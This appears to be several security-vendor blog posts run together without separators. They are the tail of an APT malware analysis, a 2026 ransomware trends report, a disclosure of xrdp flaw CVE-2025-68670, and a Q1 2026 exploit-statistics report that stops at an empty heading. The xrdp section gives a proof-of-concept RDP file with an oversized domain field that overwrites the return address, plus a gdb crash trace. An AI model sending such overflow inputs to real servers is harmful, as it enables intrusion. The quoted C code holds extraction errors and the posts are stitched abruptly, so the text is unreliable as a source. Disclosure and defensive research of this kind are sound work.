Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.
Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.
Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.
With International Anti-Ransomware Day taking place on May 12, Kaspersky presents its annual report on the evolving global and regional ransomware cyberthreat landscape.
Ransomware remains one of the most persistent and adaptive cyberthreats. In 2026:
New families continue to emerge, adopting post-quantum cryptography ciphers.
As ransom payments drop, some groups implement encryptionless extortion attacks.
In a constantly changing ecosystem of threat actors, initial access brokers maintain a relevant role in this market, showing increased focus on access to RDWeb as the preferred method of remote access.
Ransomware attacks decline but remain a major threat
According to Kaspersky Security Network, the share of organizations affected by ransomware decreased in 2025 across all regions compared to 2024.
Percentage of organizations affected by ransomware attacks by region, 2025 (download)
Despite the formal decrease, organizations across all sectors continue to face a high likelihood of attack, as ransomware operators refine their tactics and scale their operations with increasing efficiency. Kaspersky and VDC Research have found that in the manufacturing sector alone, ransomware attacks may have caused over $18 billion in losses in the first three quarters of the year.
The continued rise of EDR killers and defense evasion tooling
In 2026, ransomware operators increasingly prioritize neutralizing endpoint defenses before executing their payloads. Tools commonly referred to as “EDR killers” have become a standard component of attack playbooks. This reflects a continuing trend toward more deliberate and methodical intrusions.
Attackers attempt to terminate security processes and disable monitoring agents, often by exploiting trusted components such as signed drivers. This technique is called Bring Your Own Vulnerable Driver (BYOVD) and allows adversaries to blend into legitimate system activity while gradually degrading defensive visibility.
Thus, evasion is no longer an opportunistic step but a planned and repeatable phase of the attack lifecycle. As a result, organizations are increasingly challenged not just to detect ransomware but also to maintain control in environments where security controls themselves are actively targeted.
The appearance of new families adopting post-quantum cryptography
We predicted that quantum-resistant ransomware would appear in 2025. Looking back at the previous year, we see that advanced ransomware groups indeed started using post-quantum cryptography as quantum computing evolved. The encryption techniques used by this quantum-proof ransomware could be used to resist decryption attempts from both classical and quantum computers, making it nearly impossible for victims to decrypt their data without having to pay a ransom.
One example is the appearance of the PE32 ransomware family (link in Russian); it leverages the cutting-edge ML-KEM (Module-Lattice-Based Key-Encapsulation Mechanism) standard to secure its AES keys. This specific cryptographic framework was recently selected by NIST as the primary standard for post-quantum defense.
Within the PE32 ransomware architecture, this is realized through the Kyber1024 algorithm, a robust mechanism providing Level 5 security, roughly equivalent in strength to AES-256. Its primary function is the secure generation and transmission of shared secrets between parties, specifically engineered to withstand future quantum computing attacks. This shift toward post-quantum readiness is part of a broader industry trend; for instance, TLS 1.3 and QUIC protocols have already adopted the X25519Kyber768 hybrid model, which fuses classical encryption with quantum-resistant security.
The shift to encryptionless extortion
In 2025, the share of ransoms paid dropped to 28%. As a response to this, one of the developments in the 2026 landscape is the growing prevalence of extortion incidents in which no file encryption takes place at all. Instead, attackers leave out the “ware” in “ransomware” and focus on extracting sensitive data and leveraging the threat of public disclosure as their primary means of extortion. ShinyHunters is an excellent example of such a group, using a data leak site to publicize its victims.
By avoiding encryption, attackers may aim at reducing the likelihood of immediate detection, shortening the duration of the attack, and eliminating dependencies on stable encryption routines. Often, this model is used alongside traditional tactics in so-called double extortion schemes, but an increasing number of campaigns rely exclusively on data theft.
For victims, this shift fundamentally changes the nature of the risk. While backups remain effective against encryption-based disruption, they provide no protection against data exposure, regulatory consequences, and reputational damage. Ransomware is therefore evolving from a business continuity issue into a broader data security and compliance challenge.
Industrialization of initial access (Access-as-a-Service)
The ransomware ecosystem continues to evolve toward a highly industrialized and specialized model, with initial access remaining as one of its most critical components. In 2026, many ransomware operators keep relying on IABs (initial access brokers), a network of intermediaries who supply pre-compromised access to corporate environments, aiming to no longer perform full intrusions themselves.
This “access-as-a-service” model is fueled by credential theft operations, and the widespread availability of compromised accounts harvested through infostealers and phishing campaigns.
The primary access vectors offered for sale have not changed: RDP, VPN, and RDWeb are still the top access vectors. Consequently, remote access infrastructure remains the primary attack surface for initial access sales. In response to the measures against public exposure of RDP access points to the internet, attackers are now targeting RDWeb portals, which are frequently vulnerable and occasionally inadequately safeguarded.
The result is a threat landscape where unauthorized access is increasingly commoditized, and the barrier to launching ransomware attacks declines. This means that preventing initial compromise is only part of the challenge; equal emphasis must be placed on detecting misuse of legitimate credentials and limiting lateral movement within already-breached environments.
Ransomware developments on the dark web
Telegram channels and underground forums increasingly function as platforms for the distribution and sale of compromised datasets and access credentials including those that were obtained as a result of ransomware attacks.
Advertisements posted on these resources typically include the nature of the access, a description of the exfiltrated or compromised data, price terms, and contact information for prospective buyers. In addition, some malicious actors mention their collaboration with other ransomware groups. Lesser-known gangs can use this name-dropping to promote themselves
Multiple threat actors not related to ransomware groups distribute datasets downloaded from ransomware blogs on underground forums and Telegram. By re-publishing download links and files, they spread compromised data as well as information on the ransomware attack within the community.
The ransomware itself is also sold or offered for subscription on the dark web platforms. The sellers underscore the uniqueness of their malware, as well as its encryption and defense evasion features.
Law enforcement actions
Law enforcement agencies are actively shutting down dark web platforms and ransomware data leak sites. A major underground forum, RAMP, which also functioned as a platform for threat actors to advertise their ransomware services and publish service‑related updates, was seized by authorities in January 2026. Another underground forum, LeakBase, where malicious actors distributed exfiltrated and compromised data, was seized in March 2026. In 2025, law enforcement agencies seized well-known forums like Nulled, Cracked, and XSS. Also in 2025, the DLSs of BlackSuit and 8Base ransomware groups were seized. These takedowns cause inconvenience to ransomware coordination, specifically for initial access brokers and affiliates, though similar forums are expected to fill the void over time.
Top ransomware groups in 2025
RansomHub’s sudden dormancy in 2025 marked a shift, and Qilin became the dominant player from Q2 onward. According to Kaspersky research, Qilin was the most active group executing targeted attacks in 2025.
Each group’s share of victims according to its data leak site (DLS) as a percentage of all reported victims of all groups during the period under review (download)
Qilin stands out as one of the fastest-growig and dominant RaaS platforms. Its combination of high-volume operations and structured affiliate model positions it as a central player in the current ecosystem.
Clop, the second most active group in 2025, is distinguished through its large-scale, supply-chain-style attacks, exploiting widely used file transfer and enterprise software to compromise hundreds of victims simultaneously. This one-to-many approach sets it apart from more traditional, single-target campaigns.
Third place is occupied by Akira, which remains notable for its consistency and operational stability, maintaining a steady stream of victims without major disruption. Its ability to sustain activity over time makes it one of the most reliable indicators of baseline ransomware threat levels.
Although no longer active, RansomHub stands out for its rapid rise and equally rapid disappearance in 2025, highlighting the volatility of the RaaS market. Its shutdown created a vacuum that significantly reshaped affiliate distribution across other groups.
DragonForce is also notable – not just for its own operations, but for its broader influence within the ransomware ecosystem, including reported involvement in infrastructure conflicts and possible links to the disruption of competing groups. Thus, the group claims that RansomHub “has moved to their infrastructure.” This positions it as more than just an operator and potentially an ecosystem-level actor.
New actors in 2026
While emerging actors generally operate on a smaller scale, they provide insight into the continuous churn and low barrier to entry within the ransomware ecosystem.
The Gentlemen group caught our attention in early 2026, as they managed to attack a significant number of victims over a short time. This actor is also notable for reflecting a broader shift toward professionalization and controlled operations within the ransomware ecosystem. Unlike many emerging groups that rely on opportunistic attacks and inconsistent leak activity, The Gentlemen demonstrate a more deliberate approach: structured intrusion workflows, selective targeting, and measured communication with victims. This signals a move away from chaotic, high-noise campaigns toward predictable, business-like execution models that are easier to scale and harder to disrupt. Their TTPs include the massive exploitation of hardware very common on big corporations, such as FortiOS/FortiProxy, SonicWall VPN, and Cisco ASA appliances. The group might be comprised of professional cybercriminals who left other prominent groups.
The group is also notable for its emphasis on data-centric extortion strategies, often prioritizing exfiltration and leverage over purely disruptive encryption. This aligns with one of the defining trends of 2026: ransomware evolving into a form of data breach monetization rather than just system denial. By focusing on controlled pressure and reputational risk instead of immediate operational damage, The Gentlemen exemplify how attackers are adapting to lower ransom payment rates and improved backup practices among victims.
Some other groups to take note of in 2026:
Devman appears to be an emerging actor with limited but growing activity, likely leveraging existing tooling rather than developing custom capabilities.
MintEye hasn’t been very active yet, with just five known victims, suggesting opportunistic campaigns without a consistent operational tempo.
DireWolf is associated with small-scale, targeted attacks, though its overall footprint remains relatively limited compared to larger RaaS groups.
NightSpire demonstrates characteristics of an amateur group, such as mistakes during its operations, uncommon communication channels with the victims, and sometimes giving them insufficient time to pay up. Although they both encrypt and leak data, they prioritize publication rather than encryption.
Vect shows low-volume activity. It is yet unclear whether they use a completely new codebase or are rather a rebrand of an existing group.
Tengu is a less prominent actor, with limited public reporting and no clear distinguishing tactics beyond standard extortion models.
Kazu appears to be created by ransomware operators previously engaged with multiple other groups. As of now, they don’t stand out for scale or technique.
Although there is little to say about these groups at the time of writing this report, each of them may be equally likely to disappear from the threat landscape or grow into a prominent threat. That’s why it’s important to track them from their early days. Moreover, collectively, these groups illustrate how dynamic the ransomware landscape is, with new entrants constantly replenishing it.
Conclusion and protection recommendations
Despite the growing effort by law enforcement agencies across the globe to seize and disrupt dark web platforms and threat actor infrastructures, ransomware operations remain stable, with new groups quickly taking the place of those who went silent. In 2026, we see a shift towards encryptionless extortion, with data leaks increasingly becoming the main threat to target organizations. At the same time, data encryption is also upgrading to the next level with the emergence of post-quantum ransomware.
To resist the evolving threat, Kaspersky recommends organizations:
Prioritize proactive prevention through patching and vulnerability management. Many ransomware attacks exploit unpatched systems, so organizations should implement automated patch management tools to ensure timely updates for operating systems, software, and drivers. For Windows environments, enabling Microsoft’s Vulnerable Driver Blocklist is critical to thwarting BYOVD attacks. Regularly scan for vulnerabilities and prioritize high-severity flaws, especially in widely used software.
Strengthen remote access: RDP and RDWeb connections should never be directly exposed to the internet, only through VPN or ZTNA (Zero Trust Network Access). It’s highly recommended to adopt multi-factor authentication on everything; the architecture may require continuous authentication for access, as one valid credential captured is enough to cause a breach. Monitoring the underground for stolen employee credentials is essential. Audit open ports across the entire attack surface. The adoption of the “Principle of Least Privilege” (PoLP), where users, systems, or processes are granted only the minimum access rights, such as read, write, or execute permissions, necessary to perform their specific job functions, is highly recommended.
Strengthen endpoint and network security with advanced detection and segmentation. Deploy robust endpoint detection and response solutions such as Kaspersky NEXT EDR to monitor for suspicious activity like driver loading or process termination. Network segmentation is equally important. Limit lateral movement by isolating critical systems and using firewalls to restrict traffic. Complete and immediate offboarding for employees is necessary as well as periodic permission reviews, with automatic revocation of unused access. Sessions with complete logging for privileged accounts are more than necessary. Monitoring the traffic divergence to new sites or even to legitimate endpoints can help the defenders to spot a new insider threat.
Invest in backups, training, and incident response planning. Maintain offline or immutable backups that are tested regularly to ensure rapid recovery without paying a ransom. Backups should cover critical data and systems and be stored in air-gapped environments to resist encryption or deletion. User education is essential to combatting phishing, which remains one of the top attack vectors. Conduct simulated phishing exercises and train employees to recognize AI-crafted emails. Kaspersky Global Emergency Response Team (GERT) can help develop and test an incident response plan to minimize potential downtime and costs.
The recommendation to avoid paying a ransom remains robust, especially given the risk of unavailable keys due to dismantled infrastructure, affiliate chaos, or malicious intent. By investing in backups, incident response, and preventive measures like patching and training, organizations can avoid funding criminals and mitigate the impact.
Kaspersky also offers free decryptors for certain ransomware families. If you get hit by ransomware, check to see if there’s a decryptor available for the ransomware family used against you.
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) // [3]
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;
// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}
while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) // [4]
{
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}
v n -= u8len;
v += u8len;
}
else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}
r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; // [5]
}
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.
CVE-2025-68670: an RCE vulnerability in xrdp
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; // [7]
[..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, // [6]
combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];
/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') // [8]
{
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); // [9]
if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); // [10]
}
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).
To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()
Protection against vulnerability exploitation
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.
The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
12/05/2025: we submitted the vulnerability report via https://github.com/neutrinolabs/xrdp/security.
12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
12/15/2025: investigation and prioritization of the vulnerability began.
12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
01/27/2026: the patch was merged into the project’s main branch.
Conclusion
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.
However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
During Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.
In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.
Statistics on registered vulnerabilities
This section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.
We examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.
Total published vulnerabilities per month from 2022 through 2026 (download)
Next, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.
Total critical vulnerabilities published per month from 2022 through 2026 (download)
The graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.
Exploitation statistics
This section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.
Windows and Linux vulnerability exploitation
In Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:
CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
CVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive
CVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
CVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams
Among the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:
CVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user’s knowledge. Malicious commands are executed on the victim’s system with the privileges of the user who opened the file.
CVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.
These three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.
Below is the trend of exploit detections on user Windows systems starting from Q1 2025.
Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.
On Linux devices, exploits for the following vulnerabilities were detected most frequently:
CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
CVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests
Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
In the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.
Most common published exploits
The distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.
Distribution of published exploits by platform, Q1 2026 (download)
Vulnerability exploitation in APT attacks
We analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.
TOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)
In Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.
C2 frameworks
In this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.
The chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.
TOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)
Metasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:
CVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running
CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
CVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications
CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user
The nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.
Notable vulnerabilities
This section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.
At the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.
It is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.
RegPwn (CVE-2026-21533): a system settings access control vulnerability
CVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.
CVE-2026-21514: a Microsoft Office vulnerability
This vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.
Clawdbot (CVE-2026-25253): an OpenClaw vulnerability
This vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.
CVE-2026-34070: LangChain framework vulnerability
LangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.
CVE-2026-22812: an OpenCode vulnerability
